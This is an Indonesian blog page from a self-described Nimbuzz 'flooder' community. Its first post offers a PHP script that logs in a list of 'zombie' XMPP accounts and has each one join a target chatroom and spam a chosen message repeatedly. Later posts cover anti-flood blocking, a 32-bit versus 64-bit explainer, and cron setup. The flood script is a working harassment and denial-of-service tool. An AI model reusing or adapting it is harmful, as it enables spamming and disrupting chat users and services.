8 Okt 2011

Script Flood Web Zombie (array edition)

Aplikasi flood Zombie pada umumnya dalam bentuk software alias aplikasi jadi buatan kang rahmad (romeo_must_die), aplikasi tersebut menggunakan jid urut maupun acak.
script yang akan saya share disini kurang lebih sama seperti aplikasi untuk jid acak zombie. berikut adalah part penting dari script php untuk script flood web zombie yg edisi array:
include 'fmt.php';
$jid= array("jid1","jid2","jid3");
$left = 'pein52';
$host='openfire.nimbuzz.com';
$port='5222';
$server='nimbuzz.com';
$status='good';
$type3='groupchat';
$password=$_POST['password'];
$body =$_POST['costumflood'];
$to = $_POST['target'];
foreach ($jid as &$value) {
$resource= '';

$conn1 = new XMPPHP_XMPP($host, $port, $value, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);


try {
$conn1->connect();
$conn1->processUntil('session_start');


$conn1->pein52($to."/".$value,$status,$roompwd);


        $conn1->message("$to","$body","$type3","=naga*api=");



  for ($a=0;$a<8;$a++)
    {
    $conn1->message("$to","$body","$type3");

}

     $conn1->presence(NULL, "bot", $to."/".$left, "unavailable");

    $conn1->disconnect();
 
}
catch(XMPPHP_Exception $e) {
die($e->getMessage());
}
}

part 1:
$array= array("jid1","jid2","jid3");
 pada bagian ini kita mengisi list jid dalam bentuk array php
part 2:
foreach ($jid as &$value) {
...........
}
 ini berfungsi untuk memecah array tersebut dan mengeksekusi jid 1 per 1 sesuai index.

script ini sangat berguna bagi yang biasa membuat web sendiri karena jid array yang kita masukkan harus di patenkan dalam script php.
bagi yang ingin script lengkapnya silahkan download dibawah ini:


happy birthday for FMT (10/10/2011)

Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - Script Flood Web Zombie (array edition)

6 Okt 2011

Trick Anti Flood

 Salam FMT,
Sudah lama ngga posting rasanya kangen juga untuk berbagi kepada kawan-kawan semua.
Trik yang akan saya posting merupakan trick / script yang sudah lama, dan sudah familiar di kalangan nimbuzzer. kali ini saya akan share sedikit trik antiplud yang resmi ada pada fitur nimbuzz.Trik ini menggunakan sistem blocking sesuai standard XMPP pada XEP-0191.
Berikut adalah script yang digunakan :
1. Script Block
untuk melakukan blocking terahadap jid yang kita inginkan

2. Script UnBlocking
Untuk Membuka block terhadap jid tertentu

Unblocking
All untuk mengeluarkan semua jid yang telah masuk kedalam daftar block

3. Script List Untuk melihat list dari jid yang telah kita block selama ini
Script Block merupakan script yang bersifat permanen yang artinya sekali memasukan jid tertentu kedalam block list kita maka selamanya akan terkena block alias jid tersebut takkan bisa mengirimi kita pesan, presence, maupun Iq. Untuk mengeluarkan jid yang telah di masukan kedalam list block gunakanlah script Unblocking. kelebihan cara block seperti ini ialah orang yang kita block masih bisa kita kirimin pesan / presence (Flood)

Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - Trick Anti Flood

27 Mei 2011

trik anti flood pv dalam CL menggunakan transport jabber

apa kabar all ?? :-D
udah lama neh gak posting,,, dari pada blogx nganggur mending aq ngeshare sesuatu,,
di postingan kali ini aq mau mengshare trik anti flood dalam CL yg menggunakan transport jabber.

pertama siapkan bombus yg bisa register akun jabber,,
lalu kamu register akun di server talk.mipt.ru,, setelah berhasil register kamu login akun yg sudah berhasil daftar tadi, kalo sudah kamu masuk ke tool atau pengaturan lalu pilih service discovery tekan pilihan lalu pilih server atau layanan lalu di kolom kamu masukan transport, transport yg aku pakai j2j-unstable.jrudevels.org kalo sudah tekan ok / send,
kalo sudah muncul pilihan kamu pilih register lalu isi semua kolomx seperti login di bombus menggunakan jid nimbuzz kamu dan jangan ada yg di tandai / di contreng, setelah selesai tekan ok / send / kirim.
nanti akan ada add (pemintaan kontak) dari transport lalu kamu konfirm,kalo kontak transportx sudah online berarti kamu sudah berhasil login jid nimbuzz kamu di transport. tapi kenapa kontak list nimbuzz nya tidak muncul??
kalo ingin melihat kontak list nimbuzz teman2 kamu ol atau tidak tinggal kamu add jid teman kamu menggunakan format jid_teman%nimbuzz.com@j2j-unstable.jrudevels.org otomatis add nya akan di terima karena kontak list nya sebelum nya telahada di jid nimbuzz kamu.
untuk anti flood dalam CL kamu jangan menambahkan / add jid lawan kamu yg sering neplud kamu ke dalam kontak list transport jabber, untuk anti flood pv CL kamu set priority status kamu menjadi -128 , caranya tekan menu pilihan , pilih status yg kamu gunakan di kolom priority / prioritas kamu isi -128 dantekan ok.
dengan begitu kamu sudahanti flood pv dalam cl dan bisa chat aman dengan teman2 mu. untuk anti flood luar cl / flood add, tinggal kamu set drop subscription, caranya masukke pengaturan / tools, lalu pilih option di permintaan kontak baru / authorize new contact ,kamu ubahmenjadi drop subscription / jatuhkan.
di jamin jid kamu bisa berchat dengan aman kecuali kalo ada flood model baru :-D

semoga bermanfaat ;)
Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - trik anti flood pv dalam CL menggunakan transport jabber

25 Feb 2011

Perbedaan 32-Bit dan 64-Bit

 32-bit dan 64-bit mengacu pada arsitektur processor.
Processor 32-bit artinya register2 nya (unit penyimpanan data terkecil di dalamnya) berukuran 32 bit.
Processor 64-bit artinya register2 nya berukuran 64 bit.

( Register2 ini lah yang digunakan untuk melakukan macam2 operasi. Misalnya c = a + b, maka register "eax" akan me-load nilai dari "a" (di memory), kemudian pada register "eax" ditambahkan nilai dari "b", lalu "eax" ditulis ke memory pada posisi variabel "c" )

Pengaruh ukuran register terhadap kecepatan:
Setiap proses baca/tulis dari memory (disebut dengan load/store) membaca/menulis informasi sebesar ukuran register; maka register 64-bit potensial membaca/menulis memory 2x kecepatan register 32-bit.
Tapi ini teoretis saja, karena kenyataannya prosesor juga menghabiskan waktu untuk melakukan hal-hal lain selain load/store, seperti pemrosesan matematis, vector-processing, dll.

Pengaruh ukuran register terhadap presisi:
Secara simplistik: Makin panjang register, makin banyak angka di-belakang-koma yang bisa dihitung secara akurat.
Sebagai gambaran: Misalkan resolusi bilangan real pada 32-bit adalah 0.0001, maka resolusi bilangan real pada 64-bit bisa mencapai 0.0000001 (jadi jauh lebih presisi).

Pengaruh ukuran register terhadap ukuran memori:
Salah satu dari sekian banyak register adalah "addressing register". Addressing register (atau registers, kalau lebih dari satu) adalah register yang memiliki fungsi 'menunjuk' ke alamat tertentu dalam memory. Jangkauan (range) penunjukan ini disebut dengan istilah memory space.
Pada arsitektur 32-bit, addressing registers mampu 'menunjuk' posisi memory dari 0 s/d 4'294'967'295 (4 GiB - 1). Inilah yang mengakibatkan muncul "batasan 4 GiB" pada sistem berbasis arsitektur 32-bit.
Pada arsitektur 64-bit, addressing registers mampu 'menunjuk' posisi memory dari 0 s/d 18'446'744'073'709'551'615 (16 EiB - 1). Seperti kita lihat, tidak ada lagi 'batasan 4 GiB' pada sistem berbasis arsitektur 64-bit.

Pengaruh ukuran register terhadap dataset:
"Dataset" adalah istilah untuk 'seperangkat data yang di-load ke dalam memory untuk diproses dan (optionally) ditulis kembali ke hard disk'.
Sistem 32-bit terbatas pada dataset sebesar (2^32)-1, atau (4 GiB - 1). Mengingat sebagian memory harus digunakan untuk OS dan program database ybs, maka biasanya dataset nya hanya sebesar 1-2 GiB saja.
Artinya, sebuah database yang berukuran, katakanlah, 20 GiB (tidak asing dalam konteks perusahaan besar), harus diproses 10~20x.
Sistem 64-bit tidak memiliki batasan di atas. Dia dapat me-load dataset sebesar ketersediaan memory. Artinya, database 20 GiB di atas dapat di-load seluruhnya (asal memory mencukupi), diproses dalam sekali jalan saja.

-----

Agar supaya kita dapat memperoleh keunggulan sistem 64-bit, maka baik software dan hardware harus mendukung.
Software 32-bit jalan di hardware 64-bit tidak bisa memanfaatkan kelebihan arsitektur 64-bit. (Software hanya akan menggunakan 32-bit saja dari 64-bit yang tersedia; 32-bit sisanya tidak dikenali) ==> disebut mode 32-bit.
Sebaliknya, software 64-bit tidak bisa jalan di hardware 32-bit karena kebutuhannya akan lebar register 64-bit tidak bisa dipenuhi.

Windows XP 32-bit dan Windows Vista 32-bit adalah 2 sistem operasi yang masih beroperasi di mode 32-bit.
Windows XP 64-bit dan Windows Vista 64-bit adalah 2 sistem operasi yang mampu beroperasi di mode 64-bit.

-----

AMD64 adalah terobosan (breakthrough) AMD dalam dunia processor x86.

Dahulu, s/d prosesor Pentium 3, Intel bersikukuh menggunakan hanya arsitektur 32-bit pada processor x86. Intel menghabiskan uang jutaan dollar untuk mengembangkan arsitektur 64-bit yang samasekali baru (artinya: Tidak kompatibel dengan dunia x86) dalam bentuk Intel ITANIUM.

AMD kemudian mengembangkan instruction set (dan arsitektur) dari processor x86 yang dibuatnya (AthlonXP) sehingga lahirlah Athlon64: Processor x86 yang memiliki arsitektur 64-bit.

Instruction set yang diperluas ini disebut AMD64 oleh AMD. Intel terpaksa melakukan cross-license, dan menggunakan instruction set tersebut juga (tapi dengan nama EMT64, bukan AMD64. Biasalah, masalaha corporate pride...)

-----

Saya tidak yakin dengan Mac OS X.
Tetapi Linux memiliki versi 32-bit dan versi 64-bit.
Contoh, Ubuntu yang ada di ftp://dl2.foss-id.web.id/iso/ubuntu/releases/hardy/
Ada versi AMD64 (64-bit) dan ada versi i386 (32-bit)

-----

Kelebihan dan kekurangan?

Kita sudah melihat kelebihan dari arsitektur 64-bit.

Sekarang kekurangannya:

Banyak Software 32-bit yang tidak bisa jalan di arsitektur 64-bit, khususnya driver.

Mengapa bisa begitu?

Komputer adalah benda yang sangat kompleks. Untuk bisa berguna bagi manusia, komputer perlu melakukan apa yang disebut "Input/Output" (I/O). Contoh I/O adalah kirim/terima data via LAN, kirim gambar ke Monitor via VGA Card, dll.

Nah, semua tindakan I/O membutuhkan buffer. Sebagai contoh, kita kenal "memory VGA" pada VGA Card; itu sebetulnya adalah buffer untuk membantu VGA Card menampilkan gambar di monitor.

Masalahnya, agar I/O bisa berlangsung dengan mulus dan cepat, 'buffer' ini perlu mendapatkan alamat. Dan alamat ini di ambil dari memory space. Hal ini terjadi meskipun komponen pelaksana I/O ini memiliki buffernya sendiri (contoh: VGA Card terbaru dari nVidia / ATI biasanya punya minimal 256 MiB RAM pada card nya). Tetap saja memori pada card tersebut akan dipetakan ke memory space.

Agar tidak bentrok dengan Sistem Operasi, yang biasanya di-load ke dalam memory 'rendah' (Bottom Memory = memory dengan alamat kecil), maka biasanya pemetaan buffer ini dilakukan di memory 'tinggi' (Top Memory = memory dengan alamat besar, atau dihitung mundur dari alamat memori terbesar (2^32)-1)

Catatan: Ini juga alasan yang menyebabkan RAM komputer kalau terpasang 4 GiB hanya akan bisa dipakai Max 3,25 GiB (atau kalau untung 3,5 GiB), ada yang 'hilang' karena 'tertutupi' oleh buffer dari komponen I/O.

Nah, pada arsitektur 64-bit, hal yang sama pun dilakukan: Buffer untuk I/O dipetakan ke Top Memory. Masalahnya, Top Memory pada arsitektur 64-bit jelas terletak pada posisi yang berbeda dengan Top Memory pada arsitektur 32-bit.

Driver adalah korban yang paling jelas; mereka berusaha mengakses Top Memory 32-bit, padahal lokasi buffer tidak di situ. Akibatnya: Crash.

Software2 lain yang juga coba-coba mengakses Top Memory secara langsung akan mengalami crash juga.

Lucunya, banyak game 32-bit yang malah jalan dengan tanpa masalah di sistem 64-bit; hal ini karena mereka tidak berusaha mengakses Top Memory secara langsung, melainkan meminta bantuan Microsoft DirectX Layer untuk mengakses fitur dari sebuah VGA Card.


Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - Perbedaan 32-Bit dan 64-Bit

15 Feb 2011

Setting Crontab

Sebelum lanjut nulis crontab-nya… mau jelasin dulu dech bagi yang belum tau nich. Sebenarnya apa seh itu Cron ? Cron merupakan sebuah daemon yang menjalankan tugas yang telah dijadwalkan berdasarkan input dari perintah crontab. Cron menyelesaikan tugas ini dengan membangunkan dirinya setiap menit dan memeriksa apakah ada cron-job yang harus dijalankannya berdasarkan crontab user. Jadi ya semacam Scheduled Task kalo di Windows lah :p .
Catatan : ingatlah bahwa crontab adalah nama untuk daftar cron-job dan nama dari perintah untuk mengedit daftar tersebut.
Sebenarnya ada 3 implementasi cron yang dikenal dalam GNU/Linux, yaitu :
  1. Vixie cron
    Vixie cron merupakan implementasi penuh fitur berbasis SysV cron. Setiap user memiliki crontab-nya masing-masing dan boleh menentukan variabel lingkungan di dalam crontab tersebut. Tidak seperti varian cron yang lain, cron ini juga
    menawarkan dukungan untuk SeLinux dan PAM. Cron ini mendukung arsitektur lebih sedikit dari Dcron, tetapi lebih banyak dari Fcron.
  2. Dillon’s Cron
    Dcron diciptakan untuk menjadi implementasi cron yang sederhana, elegan, dan aman. Implementasi ini tidak mengizinkan spesifikasi variabel lingkungan di crontab dan semua cron-job dijalankan dari /bin/sh. Seperti Vixie cron, setiap user boleh memiliki crontab-nya sendiri.
  3. Fcron
    Fcron diciptakan untuk menjadi pengganti Vixie cron dan Anacron. Dirancang untuk bekerja pada sistem yang tidak selalu dinyalakan dan memiliki beberapa fitur tambahan. Memiliki penyekat startup job, kendali serialisasi job, kemampuan untuk menetapkan nilai “nice” ke job dan kemampuan untuk menjadwalkan job agar dijalankan ketika sistem startup. Bukalah website fcron untuk info lebih lanjut.
  4. Anacron
    Anacron bukanlah merupakan sebuah daemon cron, tetapi merupakan sesuatu yang biasanya bekerja sama dengan daemon cron. Anacron mengeksekusi perintah pada interval yang ditentukan dengan hitungan hari dan tidak menganggap bahwa sistem selalu menyala; ia akan menjalankan tugas-tugas yang terlewatkan ketika sistem sedang dimatikan. Anacron biasanya bergantung pada daemon cron untuk menjalankannya setiap hari.
Menjadwalkan cron-jobs
Proses pengeditan crontab berbeda untuk setiap paket, tetapi semuanya mendukung kumpulan perintah dasar yang sama: menambahkan dan menggantikan crontab, mengedit crontab, menghapus crontab, dan menampilkan daftar cron-job di cron-tab.
# crontab –help
Perintah diatas berguna untuk menampilkan option-option yang dimiliki oleh perintah crontab. Dalam penggunaannya saya paling sering mengunakan perintah contab -l dan crontab -e untuk melihat dan meng-edit file crontab-nya :D
Cron yang digunakan pada distro saya adalah Dcron, gimana tahu-nya ya buka manualnya donk :p
Oke, sekarang coba kita lihat file crontab yang ada dengan perintah
# crontab -l
misalkan salah satu contoh yang saya punya
# update database clamav
15 1 * * * /usr/bin/freshclam -l /var/log/clamav/clam-update.log
Line yang diawali dengan # adalah comment dan tidak dieksekusi oleh cron. Hanya yang tidak di awali dengan tanda # yang dieksekusi. Arti line tersebut adalah “jalankan script /usr/bin/freshclam dan menyimpan log-nya file /var/log/clamav/clam-update.log pada setiap hari pada jam 01:15″. Tanda * artinya jalankan pada setiap waktu menurut periode masing-masing. sampai sini udah bingung kan ??? =)) Berikut penjelasan masing-masing kolom dalam crontab (5 periode waktu, plus satu kolom perintah).
* * * * * program/script yang ingin dijalankan
Arti :
* * * * * hari dalam 1 minggu (0 – 6) (Minggu = 0)
* * * * bulan (1 – 12)
* * * tanggal dalam 1 bulan (1 – 31)
* * jam (0 – 23)
* menit (0 – 59)
Dalam contoh diatas yang saya punya misalnya
15 1 * * * /usr/bin/freshclam -l /var/log/clamav/clam-update.log
Dapat dilihat bahwa pada jam 1.15 scrip/program /usr/bin/freshclam akan dijalankan setiap harinya (*).
Contoh lain misalkan kita ingin menjalankan script dodol.sh setiap hari Senin jam 6:30 dan meletakkan log nya di file dodol.log, maka isi crontab-nya adalah sbb :
30 6 * * 1 PATH/dodol.sh > PATH/dodol.log
Satu contoh lagi misalkan saya mau buat sebuah script yang akan mengingatkan saya pada jam 5.30 tentang hari ultah saya (tgl 29) dan juga ultah adik saya (tgl 12) pada bulan Juli (7) dan November (11), maka format penulisannya adalah :
30 5 11,29 6,12 * PATH/ultah.sh
Waaa… ternyata gampang yach… :p jadi sekarang silahkan dech atur sesuai kebutuhan, misalkan untuk meng-update antivirus secara periodik, untuk backup file, de el el lah poko`e…
Dan jangan lupa pastikan daemon cron udah pasti berjalan pada sistem
# ps -aux | grep cron
Wokehhh… udah ngatuk nech… lanjut ntar-ntar lagi dech :D



Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - Setting Crontab

Cron pada CentOS 5.4

Bismillah,
Pada postingan kali ini saya akan berbicara tentang cron atau autotask pada sistem operasi CentOS 5.4. Akhir-akhir ini terpaksa bermain dengan yang namanya barang-barang pinguin a.k.a Linux lagi, kalau bukan karena kerjaan juga nggak mau sih sebenarnya (susah juga nyari VPS bagus dan murah yang memberi opsi sistem operasi FreeBSD, rata-rata ngasih opsinya kalau nggak pinguin ya jendela :D ). Saya jadi agak tidak suka mainan barang-barang pinguin ini, gara-gara nggak standar dan setiap distro berbeda confignya lah, ini lah, itu lah capek sendiri ngapalinnya :D masih lebih enak mengurus mesin server yang sistem operasinya menggunakan FreeBSD atau Microsoft Windows Server :) .
Cron pada CentOS 5.4 yang ada pada VPS(Virtual Private Server, CMIIW) yang dipesan ternyata secara default tidak terinstall, hal ini diketahui setelah salah satu script yang akan dijalankan menggunakan cronjob pada server tidak berjalan sebagaimana mestinya. Baru setelah membaca-baca di mana-mana baru diketahui ternyata memang harus menginstallnya terlebih dahulu (doh repot bener ya, udah ngerti juga itu server, knapa juga autotask atau cronjobnya gak otomatis terinstall -_-”)
Untuk mengetahui apakah aplikasi cron pada CentOS 5.4 ini sudah terinstall atau tidak jalankan perintah berikut ini:
# rpm -q vixie-cron
Jika ternyata sudah terinstall tapi masih belum dapat berjalan juga task yang akan diotomasi lakukan pengencekan status dari daemon cronjob dengan mengetikkan perintah berikut ini:
# /sbin/service crond status
jika belum terinstall aplikasi cron ini dengan CentOS 5.4 dengan mudah dapat diinstall dengan mengetikkan perintah:
# yum install vixie-cron
Supaya service cron dapat berjalan otomatis setiap kali server start jalankan perintah :
# chkconfig crond on
Sekian postingan kali ini. Semoga dapat bermanfaat.

 sumber: http://crescenthikari.wordpress.com/2010/04/05/cron-pada-centos-5-4/

Nimbuzz Flooder Community (Flooder Manual Team)
READ MORE - Cron pada CentOS 5.4
 

Copyright © 2010 by Nimbuzz Flooder Community

design by xXx | Powered by Blogger